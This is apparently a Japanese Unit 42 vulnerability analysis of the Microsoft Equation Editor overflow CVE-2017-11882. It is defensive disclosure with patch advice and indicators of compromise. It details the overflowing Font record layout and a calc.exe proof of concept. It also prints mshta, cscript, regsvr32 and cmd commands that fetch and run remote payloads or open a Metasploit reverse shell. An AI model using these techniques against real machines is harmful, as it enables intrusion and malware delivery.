Microsoft Officeの脆弱性CVE-2017-11882の分析

By

Category: Unit 42

Tags: ,

This post is also available in: English (英語)

概要

パロアルトネットワークスの脅威インテリジェンスチーム Unit 42 の脆弱性リサーチャーが、Microsoft Office に含まれていた脆弱性 CVE-2017-11882 を悪用するインターネット上のトラフィックの複数のインスタンスをキャプチャしました。本脆弱性は、Microsoft により、2017 年 11 月 14 日に月例セキュリティ更新プロセスの一環としてパッチが適用されています。このエクスプロイト(脆弱性を狙った攻撃)は Metasploit 用にリリースされており、複数のセキュリティリサーチャーが、この脆弱性を利用した特定の攻撃についての記事を公開しています。この記事では、この脆弱性とそのエクスプロイトのメカニズムについて説明します。

CVE-2017-11882 について:

Microsoft数式エディターは Microsoft Office のコンポーネントです。スタックバッファオーバーフローの脆弱性があるため、脆弱なシステムでのリモートコード実行が可能となります。このコンポーネントは、17 年以上前の 2000 年 11月 9 日にコンパイルされて以降、再コンパイルされないまま、現在サポートされるすべてのバージョンの Microsoft Office で使用されていました。Microsoft 数式エディターはeqnedt32.exe によりホストされるアウトプロセス COM サーバです。つまり、独自のプロセスとして独立して実行され、他のプロセスからのコマンドを受け付けることができます。

こうした攻撃からは、データ実行防止 (DEP) およびアドレス空間配置のランダム化 (ASLR) の機能により保護されるはずなのですが、eqnedt32.exe のリンク方法が原因で、これらの機能が使用されず、その結果、コード実行が可能となります。アウトプロセス COM サーバであるため、EMET や Windows Defender Exploit Guard など、Microsoft Office のための保護は、システム全体で適用される場合を除き、eqnedt32.exe には適用されません。これにより、攻撃者は特別な細工を施したドキュメントを標的に開かせて、結果的に、攻撃者が組み込んだコマンドを実行できます。

エクスプロイトの PoC (Proof of Concept) の分析

このセクションで分析する PoC RTF サンプルは、以下の属性を有しています。

SHA256 02a69029bf2b0c97bfb9ddbbe6e89409f1b11007a92d8ca4a6df6597b72eb453

本サンプルは GitHub で入手可能です。ファイルのコンテンツの分析により、オブジェクトクラスが「Equation.3」であり、OLE 数式オブジェクトであることがわかります。

1 クラス「Equation.3」を示す RTF ファイルコンテンツ
1 クラス「Equation.3」を示す RTF ファイルコンテンツ

オブジェクトの抽出後、OLE、CompObj、および ObjInfo の各ストリームはスキップして、Equation Native ストリームに直接移動します。

2 さまざまなストリームを示すファイルコンテンツ
2 さまざまなストリームを示すファイルコンテンツ

ストリームには、以下の構造のヘッダーが含まれています。

この後ろに MTEF データが続きます。これには、MTEF ヘッダーと複数のレコードが含まれています。MTEF は、数式エディターで使用されるバイナリ形式の数式です。ヘッダーには、MTEF データの一般情報が含まれています。

説明 サイズ(バイト) コメント
MTEFのバージョン 1 0x3 MTEFv3
生成したプラットフォーム 1 0x3 Windows
生成した製品 1 0x1 Equation Editor
製品のバージョン 1 0x3
製品のサブバージョン 1 0xa

表 1 METF のヘッダー

ヘッダーの後には、MTEF のレコードがいくつか続きます。脆弱性を引き起こす悪意のあるレコードは Font レコードで、このサンプルでは以下の構造を有しています。

説明 サイズ(バイト) コメント
タグ 1 0x8 0x8 は Font レコードを示します。
書体番号 1 0x5a
スタイル 1 0x5a
フォント名 NULL 区切りで可変長 “cmd.exe /c calc.exe AAAAAAAAAAAAAAAAAAAAAAAA” + 0x00430c12 オーバーフローしてリターンアドレスを上書きします。

表 2 Font レコード

フォント名が長すぎるとオーバーフローし、コード実行を引き起こします。デバッガを使用して、詳しく見てみましょう。

3 サンプルを IDA で表示したところ
3 サンプルを IDA で表示したところ

脆弱性は、EQNEDT32.EXE がローカルに作成したバッファにフォント名をコピーしようとすると発生します。バッファは 40 (0x28) バイトのみですが、フォント名が 40 バイトを超える場合 (ここでは 48 バイト)、バッファがオーバーフローし、EBP とリターンアドレスが上書きされます。関数の実行が完了すると、攻撃者が割り当てたアドレスに制御フローが移ります。

4 フォント名コピー前
4 フォント名コピー前
5 フォント名コピー後
5 フォント名コピー後

ここでは、WinExec のアドレスである 0x430c12 に関数が「戻り」、引数の「フォント名」にも攻撃者が指定した入力が渡されます。

6 WinExec に制御が戻るところをデバッガで表示
6 WinExec に制御が戻るところをデバッガで表示

この例では、Windows 電卓 (calc.exe) を開いています。

7 エクスプロイト完了時に Calc.exe を表示
7 エクスプロイト完了時に Calc.exe を表示

エクスプロイトの攻撃手法の分析

次に、攻撃者がこの脆弱性を悪用する方法をいくつか示します。この Proof of Concept では、16 進数表記で 636d642e657865202f632063616c632e65786520 となるバイト列がコマンド cmd.exe /c calc.exe を表すために使用されています。

この Proof of Concept を開くと、Windows 電卓が実行され、電卓の UI が表示されます。ただしこの手法には、オーバーフローできるバッファ長がかなり短いという制約があります。

8 オーバーフローするバッファをv4にコピーするコードをIDAで表示
8 オーバーフローするバッファをv4にコピーするコードをIDAで表示

攻撃者がオーバーフローできる配列のサイズは 36 バイトです (上の図の overflow_buffer)。ただし、変数 v12 と保存された EBP の領域も使えるので、さらに 8 バイト分領域を使用できます。では発行しようとするコマンドが、使用可能な合計 44 バイトを上回る場合は、どうしたら良いでしょうか。

1 つの方法は、攻撃者が制御するサーバにファイルをホストしておき、そのサーバにアクセスして別のバイナリを実行させるコマンドとしてこの 44 バイトを使用することです。たとえば、以下のコマンドでは mshta 実行可能ファイルを使用して、リモートサーバから VBscript コードを実行しますが、長さは 37 文字ですみます (角かっこは無害化のために追加したものですからここでは無視してください)。

mshta http://192.168.56[.]102/test.html

以下は、攻撃者がそのサーバでホストしうるコードのサンプルです。この方法でも、Windows 上で実行する場合と同じ目標を達成でき、さらにできることは 多くなります。

同様の選択肢として、挿入された命令で Metasploit サーバをポイントし、攻撃者にリバースシェルを渡します。以下のスクリーンショットでは、Metasploit がサーバ 192.168.56.103 でリモートシェルをホストするように設定されています。

9 Metasploit サーバの実行
9 Metasploit サーバの実行

エクスプロイトに挿入する必要があるコマンドの長さは、たった 40 バイトです。

mshta.exe http://192.168.56[.]103:8080/abc

被害者がこの悪意のあるファイルを開くと、Metasploit サーバはリバースシェルを送信し、攻撃者にホストの制御を渡します (以下を参照)。

10 エクスプロイトされたホストにペイロードを送信する Metasploit
10 エクスプロイトされたホストにペイロードを送信する Metasploit

実際のエクスプロイト例

11 月 20 日以降、脅威インテリジェンスサービス AutoFocus では、この脆弱性を悪用しようとする攻撃が数千件特定されました。これらの大半は上記の手法を使用しており、cmd.exe を直接呼び出すか、mshta.exe または cscript.exe を使用して、攻撃者が制御するサーバからリモートスクリプトを実行します。以下の表は、最も一般的な手法の例を示しています。

コマンド パラメータ 説明
cmd.execmd.exe 悪意のあるファイル

IP + リモートの悪意のあるファイル

cmd.exe がローカルの悪意のあるファイルを呼び出します。

cmd.exe がリモートの悪意のあるファイルを呼び出します。

cmd.exe /c calc.exe

cmd.exe /c start \\\\172.16.38.130\\c$\\1.exe

cmd.exe /c calc.exe

cmd.exe /c start \\\\172.16.38.130\\c$\\1.exe

cscript.execscript.exe スクリプト言語 + スクリプト cscript.exe が悪意のあるファイルを呼び出します。 cscript.exe //E:jscript \\\\xxd.cc\\bwou.pngcscript.exe //E:jscript \\\\xxd.cc\\bwou.png
mshta.exemshta.exe IP + リモートの悪意のあるファイル mshta.exe がリモートの悪意のあるファイルを呼び出します。 mshta.exe http://104.254.99[.]77/x.txt

 

mshta https://seliodrones[.]info/otr/otr.htamshta.exe http://104.254.99[.]77/x.txt

mshta https://seliodrones[.]info/otr/otr.hta

regsvr32.exeregsvr32.exe インストールフラグとリモートの悪意のある DLL regsvr32.exe がリモートの悪意のある DLL を呼び出します。 regsvr32 /i:http[:]//1997106195 scrobj.dll &AA

Cregsvr32 /i:http[:]//1997106195 scrobj.dll &AA
C

インターネット上の攻撃の一例が以下のサンプルに含まれています。

SHA256 7ccd19d3dc34c6dbee600961d73cee0cab5c6e421e9e6b8a31c0b65c14ae3551

このサンプルは、欧州の組織宛てのメールで偽の請求書ドキュメントの添付ファイルとして送信されました。ユーザがこのドキュメントを開いた後、以下のコマンドが実行されました。

mshta.exe , mshta https://zilk[.]pw/url/index.hta

コードは、PowerShell スクリプトを実行したこの場所にホストされ (現在はすでに使用できません)、このスクリプトが今度はhxxps://zilk[.]pw/url/smstrace.exe からファイルをダウンロードして実行します。このファイルは、情報を窃取するトロイの木馬 FormBook です。

オーバーフローバッファにはサイズ上の制約がありますが、それでも多数の攻撃者がこの脆弱性を悪用する方法を探し出し、目的を達成しています。

結論と緩和策:

CVE-2017-11882 の脆弱性は現在も活発に悪用されており、今後数年にわたり悪用が続く可能性があります。この問題に対処するため、管理者はこの脆弱性に対する Microsoft のパッチを導入する必要があります。パッチは以下で入手できます。https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 .

パッチを導入できない場合は、Microsoft サポート技術情報の記事 4055535 の説明に従って、数式エディターを無効にすることを検討する必要があります。

パロアルトネットワークスのお客様は、次の方法でこの脆弱性から保護されています。

  • 次世代ファイアウォールの Threat Prevention(脅威防御)のシグネチャ 36804 が、エクスプロイトコードを含むファイルを識別します。
  • クラウド脅威解析 WildFire と次世代エンドポイントセキュリティ Traps が、この脆弱性を悪用するファイルを悪意のあるものとして特定します。 

悪用が確認されている URL のサンプルを以下に示します。

  • smb[:]//185.175.208.10/s/r.exe
  • smb[:]//185.175.208.10/s/p.exe
  • http[:]//78.46.152.143\\webdav
  • http[:]//138.68.144.82
  • http[:]//103.59.95.105/test
  • http[:]//104.254.99.77/x.txt
  • http[:]//112.213.118.108[:]11882/a
  • http[:]//112.213.118.108[:]11882/
  • http[:]//138.68.144.82/w/trx.hta
  • http[:]//185.200.116.171[:]80/1
  • http[:]//203.128.247.165/a.hta
  • http[:]//212.83.61.198/read.txt
  • http[:]//43.242.35.13/ofc.hta
  • http[:]//45.32.169.233[:]80/test
  • http[:]//45.77.122.135[:]80/a.hta
  • http[:]//67.218.155.0/1.hta
  • http[:]//141.255.149.141[:]8080/e8eb2bWlyg.sct
  • http[:]//bit.ly/2zaevrt
  • https[:]//zilk.pw/url/index.hta
  • https[:]//zilk.pw/url/smstrace.exe
  • http[:]//tinyurl.com/y9m5opxz
  • http[:]//vulns.sg/RickAstley.hta
  • http[:]//a1-transport.eu/rFIB.hta
  • http[:]//malo.com/bicho
  • http[:]//nobles-iq.com/xpct/yxxM.hta
  • http[:]//pelli.mzf.cz/gt.hta
  • http[:]//sldkj.com/a
  • https[:]//pastebin.com/raw/1CWyVtXs
  • https[:]//pastebin.com/raw/PqUXNZbB
  • https[:]//seliodrones.info/otr/otr.hta
  • http[:]//suo.im/2boSoQ
  • http[:]//tinyurl.com/err43ery33
  • http[:]//totonam.com/js/zd.hta
  • http[:]//www.lucien116.com/abc
  • http[:]//facebookcoc.sytes.net[:]8080/xp8jdXNo.sct